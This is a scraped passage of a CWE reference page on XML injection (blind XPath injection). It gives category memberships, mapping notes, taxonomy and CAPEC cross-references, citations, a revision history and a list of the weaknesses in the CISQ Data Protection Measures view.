MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1027	OWASP Top Ten 2017 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Research Gap

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XML injection (aka Blind Xpath injection)
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	23		XML Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-250	XML Injection
CAPEC-83	XPath Injection

References

[REF-882] Amit Klein. "Blind XPath Injection". 2004-05-19. <https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XML Injection", Page 1069. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Maintenance_Notes, Other_Notes, Theoretical_Notes
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Taxonomy_Mappings
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Description, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Related_Attack_Patterns
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Common Weakness Enumeration

CWE VIEW: CISQ Data Protection Measures

View Components

CWE-36: Absolute Path Traversal

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CWE-788: Access of Memory Location After End of Buffer

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CWE-786: Access of Memory Location Before Start of Buffer

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CWE-824: Access of Uninitialized Pointer

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CWE-288: Authentication Bypass Using an Alternate Path or Channel

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CWE-639: Authorization Bypass Through User-Controlled Key

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CWE-805: Buffer Access with Incorrect Length Value

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CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

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CWE-502: Deserialization of Untrusted Data

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CWE-369: Divide By Zero

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CWE-415: Double Free

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CWE-624: Executable Regular Expression Error

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CWE-825: Expired Pointer Dereference

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CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

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CWE-213: Exposure of Sensitive Information Due to Incompatible Policies

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CWE-761: Free of Pointer not at Start of Buffer

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CWE-284: Improper Access Control

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CWE-287: Improper Authentication

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CWE-285: Improper Authorization

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CWE-703: Improper Check or Handling of Exceptional Conditions

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CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

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CWE-130: Improper Handling of Length Parameter Inconsistency

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CWE-665: Improper Initialization

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CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

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CWE-667: Improper Locking

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CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

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CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

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CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

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CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

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CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

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CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

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CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

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CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

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CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

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CWE-170: Improper Null Termination

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CWE-424: Improper Protection of Alternate Path

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CWE-404: Improper Resource Shutdown or Release

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CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

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CWE-611: Improper Restriction of XML External Entity Reference